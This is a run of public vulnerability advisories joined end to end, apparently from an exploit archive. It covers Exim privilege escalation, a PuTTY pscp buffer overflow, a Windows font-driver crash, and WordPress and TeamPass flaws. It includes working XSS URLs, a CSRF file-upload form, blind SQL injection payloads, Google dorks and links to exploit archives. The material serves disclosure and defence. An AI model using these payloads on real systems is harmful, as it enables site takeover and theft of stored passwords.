a perl_startup option e.g:
perl_startup = do '/usr/share/exim4/exigrey.pl'
It is important to note that the file does not necessarily have to exist
to exploit the vulnerability. Although the path must be specified.
VIII. SOLUTION
-------------------------
Update to Exim 4.86.2 which contains the official patch that fixes the
environment sanitization issues.
IX. REFERENCES
-------------------------
http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
http://www.exim.org/
http://www.exim.org/static/doc/CVE-2016-1531.txt
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
https://github.com/Exim/exim/commit/29f9808015576a9a1f391f4c6b80c7c606a4d99f
CVE-2016-1531
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1531
X. ADVISORY CREATED BY
-------------------------
This advisory has been created by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com
XI. REVISION HISTORY
-------------------------
March 10th, 2016: Advisory released
March 11th, 2016: Fixed advisory header,added cve.mitre link of the root issue
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
Source: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-2563
Author: <github.com/tintinweb>
Date: Feb 20th, 2016
Name: putty
Vendor: sgtatham - http://www.chiark.greenend.org.uk/~sgtatham/putty/
Version: 0.59 [3] (~9 years ago) <= affected <= 0.66
Platform(s): win/nix
Technology: c
Vuln Classes: stack buffer overwrite (CWE-121)
Origin: remote
Min. Privs.: post auth
CVE: CVE-2016-2563
Summary
The putty SCP command-line utility (pscp) is missing a bounds-check for a stack buffer when processing the SCP-SINK file-size response to a SCP download request. This may allow a malicious server to overwrite the stack buffer within the client- application potentially leading to remote code execution.
PoC attached. patch attached.
Besides that, two minor issues have been reported in putty packet handling:
DoS condition in the parsing of SSH-Strings that lead to a nullptr read. (connect putty to poc.py and type x11exploit to trigger one of multiple occurrence of a crash, also works with x11forwarding disabled in putty)
DoS condition in the handling of unrequested forwarded-tcpip channels open requests that lead to a nullptr read. (connect putty to poc.py and type forwardedtcpipcrash to trigger crash)
Details
The vulnerable code is located in pscp.c [4] line 1498 (HEAD) and is based on an unbound sscanf string format descriptor storing an arbitrary length string in a 40byte fixed size stack buffer sizestr[40].
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39551.zip
* Exploit Title: Wordpress Beauty Theme File Upload Vulnerability v1.0.8
* Discovery Date: 02.09.2016
* Public Disclosure Date:03.09.2016
* Vendor Homepage: http://www.yourinspirationweb.com
* Exploit Author: Colette Chamberland (Wordfence)
* Contact: colette@wordfence.com
* Version: 1.0.8 (may affect newer versions but this was all I had)
* Tested on: Wordpress 4.2.x-4.4.x
Description
================================================================================
The Beauty Premium theme contains a contact form that is vulnerable to CSRF
and File Upload vulnerability in the sendmail.php file. The file attachment
gets uploaded to the wordpress upload directory and it is not sanitized,
allowing attackers to upload harmful code.
PoC
================================================================================
Google Dork inurl:themes/beauty-premium/ or detect via WPScan:
<form method="post" action="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" enctype="multipart/form-data">
<input type="text" name="yiw_contact[name]" id="name-test" class="required" value="test" />
<input type="text" name="yiw_contact[email]" id="email-test" class="required email-validate" value="test@nowhere.com" />
<input type="text" name="yiw_contact[phone]" id="phone-test" class="" value="1234567890" />
<input type="text" name="yiw_contact[website]" id="website-test" class="" value="http://www.blah.com" />
<textarea name="yiw_contact[message]" id="message-test" rows="8" cols="30" class="required">This is a FUV test</textarea>
<input type="file" name="yiw_contact[file]" allow="text/*" maxlength="50">
<li class="submit-button">
<input type="hidden" name="yiw_action" value="sendemail" id="yiw_action" />
<input type="hidden" name="yiw_referer" value="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" />
<input type="hidden" name="id_form" value="test" />
<input type="submit" name="yiw_sendemail" value="send message" class="sendmail alignright" /> </li>
</form>
You will receive a 404 error after posting, but navigate to the sites upload directory and access your uploaded file directly.
* Exploit Title: Wordpress DZS Videogallery Plugin - Multiple Vulnerabilities <=8.60
* Discovery Date: 01.05.2016
* Public Disclosure Date:03.09.2016
* Vendor Homepage: http://digitalzoomstudio.net/
* Software Link: http://codecanyon.net/item/video-gallery-wordpress-plugin-w-youtube-vimeo-/157782
* Exploit Author: Colette Chamberland (Wordfence)
* Contact: colette@wordfence.com
* Version: <=8.60
* Tested on: Wordpress 4.2.x-4.4.x
* OVE-20160305-2497
Technical details:
Unauthenticated CSRF & XSS
POC:
http://[target]/wp-content/plugins/dzs-videogallery/admin/playlistseditor/popup.php?initer=whatava18642%27%3balert%281%29%2f%2f645
Line 13-15 (unsanitized input):
if(isset($_GET['initer'])){
$initer = $_GET['initer'];
}
Line 27 (unsanitized output):
<?php echo "var initer = '" . $initer . "';"; ?>
---------------------------------------
Unauthenticated CSRF & XSS
POC:
http://[target]/wp-content/plugins/dzs-videogallery/admin/tagseditor/popup.php?initer=whatava18642%27%3balert%281%29%2f%2f645
Line 13-15 (unsanitized input):
if(isset($_GET['initer'])){
$initer = $_GET['initer'];
}
Line 27 (unsanitized output):
<?php echo "var initer = '" . $initer . "';"; ?>
---------------------------------------
Unauthenticated CSRF & XSS:
POC(s):
http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=6d27f"><script>alert(1)<%2fscript>894ba&type=&width=
http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=&type=7934f"><script>alert(1)<%2fscript>99085&width=
http://[target]/wp-content/plugins/dzs-videogallery/ajax.php?height=&source=&type=&width=54fd7"><script>alert(1)<%2fscript>4708b
Line 25 & 35 (unsanitized input & direct output):
$w = $_GET['width'];
<param name="flashvars" value="video=' . $_GET['source'] . '&types=' . $_GET['type'] . '&defaultQuality=hd" width="' . $w . '" height="' . $h . '">'.$backup.'
Source: https://code.google.com/p/google-security-research/issues/detail?id=683
We have encountered a Windows kernel crash in the ATMFD.DLL OpenType driver while processing a corrupted OTF font file:
---
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fb6f5000, memory referenced
Arg2: 00000001, value 0 = read operation, 1 = write operation
Arg3: 99053e40, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
Could not read faulting driver name
WRITE_ADDRESS: GetPointerFromAddress: unable to read from 827ae84c
Unable to read MiSystemVaType memory at 8278d780
fb6f5000
FAULTING_IP:
ATMFD+33e40
99053e40 890c82 mov dword ptr [edx+eax*4],ecx
MM_INTERNAL_CODE: 0
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: VERIFIER_ENABLED_VISTA_MINIDUMP
BUGCHECK_STR: 0xD6
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre
LAST_CONTROL_TRANSFER: from 99054677 to 99053e40
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
b603ecb0 99054677 fb472880 fb6f438c 00000f5c ATMFD+0x33e40
b603ece4 99054776 fb6f4380 00000003 fb6f438c ATMFD+0x34677
b603ed0c 99049fb3 fb472800 fc5b60b8 990663ec ATMFD+0x34776
b603ed30 9904eaf5 fc704c70 990663ec 00000f5c ATMFD+0x29fb3
b603f444 9904f85f fc704c70 9905f028 b603f690 ATMFD+0x2eaf5
b603f500 9904286e fc704c70 9905f028 b603f690 ATMFD+0x2f85f
b603f5ec 99042918 fc704c70 b603f690 b603f714 ATMFD+0x2286e
b603f618 990333d2 fc704c70 9905f028 b603f690 ATMFD+0x22918
b603f77c 990337a9 00000000 b603f89c fb6bcc80 ATMFD+0x133d2
b603f7d0 990240ff 00000000 b603f89c 00000000 ATMFD+0x137a9
b603f824 9918de12 ff7a5010 fb562cf0 00000001 ATMFD+0x40ff
b603f86c 9917687d ff7a5010 fb562cf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
b603f8e0 991a1653 ffa6a130 fb588b54 0000004c win32k!xInsertMetricsRFONTOBJ+0x9c
b603f914 991a3735 00000020 b603f9fc b603fb8c win32k!RFONTOBJ::bGetGlyphMetrics+0x131
b603fbb8 991b6856 17010459 00000060 00000040 win32k!GreGetCharABCWidthsW+0x147
b603fc14 8267fa06 17010459 00000040 00000040 win32k!NtGdiGetCharABCWidthsW+0xf8
b603fc14 776771b4 17010459 00000040 00000040 nt!KiSystemServicePostCall
02dde7ac 00000000 00000000 00000000 00000000 0x776771b4
---
The crash always occurs while trying to write outside of a dynamically allocated destination buffer, leading to a pool-based buffer overflow, potentially allowing for remote code execution in the context of the Windows kernel. While we have not determined the specific root cause of the vulnerability, we have pinpointed the offending mutations to reside in the "CFF " table.
The issue reproduces on Windows 7 and 8.1; other platforms were not tested. It is easiest to reproduce with Special Pools enabled for ATMFD.DLL (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation in ATMFD.DLL or another location in kernel space, as caused by the corrupted pool state.
Attached is an archive with the proof-of-concept mutated OTF file, together with the original font used to generate it and a corresponding crash log from Windows 7 32-bit.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39560.zip
Affected Product: TeamPass
Vulnerability Type: Multiple XSS,CSRF, SQL injections
Fixed in Version: 2.1.25 (https://github.com/nilsteampassnet/TeamPass/releases/tag/2.1.25.0)
Vendor Website: http://www.teampass.net
Software Link: : https://github.com/nilsteampassnet/TeamPass
Affected Version: 2.1.24 and prior
Vulnerable software (including source) : https://github.com/nilsteampassnet/TeamPass/releases/tag/2.1.24.4
Google Dork: intitle:"Teampass" + inurl:index.php?page=items
Tested on: Ubuntu
Remote Exploitable: Yes
Reported to vendor: 30 december 2015
Disclosed to public: 14 March 2016
Release mode: Responsible Disclosure
CVE-2015-7562 TeamPass 2.1.24 Persistant XSS
CVE-2015-7563 TeamPass 2.1.24 CSRF
CVE-2015-7564 TeamPass 2.1.24 SQL Injection
Credits: Vincent Malguy
Description :
TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP. It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords access depending on the user’s role.
Copyright (c) 2009-2015, Nils Laumaillé
********************* CVE-2015-7562 TeamPass 2.1.24 Persistant XSS *********************
When displaying the detail of an item (a password entry), the "label" value is display using the stripslashes() sanitization function. This function does not efficiently prevent XSS.
POC of a persistant XSS : add item with label : $str = "' onclick='javascript:alert("XSS found");' alt='";echo "<a href='". strip_tags($str) ."'></a>";
This xss will be trigger each time a user click on this item.
As item can be share, there is a way for a user to trick an admin to trigger this xss.
fix in commit cd112ea (see https://github.com/nilsteampassnet/TeamPass/pull/1140)
POC of a persistant XSS :
Add a new role with name : <script>alert("XSS");</script>
This xss will be trigger in many admin pages
Fix in commit : 3f0a6c9 & e29cd54 & 295cada & 2c8a829 (see https://github.com/nilsteampassnet/TeamPass/pull/1140)
********************* CVE-2015-7563 TeamPass 2.1.24 CSRF *********************
Lack of anti-CSRF token lead to security vulnerabilities where an attacker can trick a authenticated user to do some unwanted action on his behalf :
<form action="http://<teampass host>/sources/main.queries.php" method="post">
<select name="type">
<option value="increase_session_time »>will add 1 hour timeout to the user session</option>
</select>
<input type=submit>
</form>
recommanded fix: add anti-CSRF token.
********************* CVE-2015-7564 TeamPass 2.1.24 SQL Injections *********************
SQL injection has been found in item.query.php parameter id with type set to action_on_quick_icon.
Sqlmap output :
---
Parameter: id (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: type=action_on_quick_icon&id=(SELECT (CASE WHEN (6144=6144) THEN 6144 ELSE 6144*(SELECT 6144 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&action=1
—
fix in commit 795256f (see https://github.com/nilsteampassnet/TeamPass/pull/1140)
SQL injections has been found in view.query.php in parameters order and direction with type set to connections_logs, errors_logs or access_logs .
Note that direction need to be prefixed by ", " in order to be exploitable
Sqlmap output for connections_logs:
---
Parameter: order (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: type=connections_logs&order=(SELECT (CASE WHEN (6688=6688) THEN 6688 ELSE 6688*(SELECT 6688 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&direction=DESC
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: type=connections_logs&order=date AND (SELECT * FROM (SELECT(SLEEP(5)))vhPw)&direction=DESC
—
---
Parameter: direction (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: type=errors_logs&order=date&direction=, (SELECT (CASE WHEN (1739=1739) THEN 1739 ELSE 1739*(SELECT 1739 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
—
fix commit 86719e0 (see https://github.com/nilsteampassnet/TeamPass/pull/1140)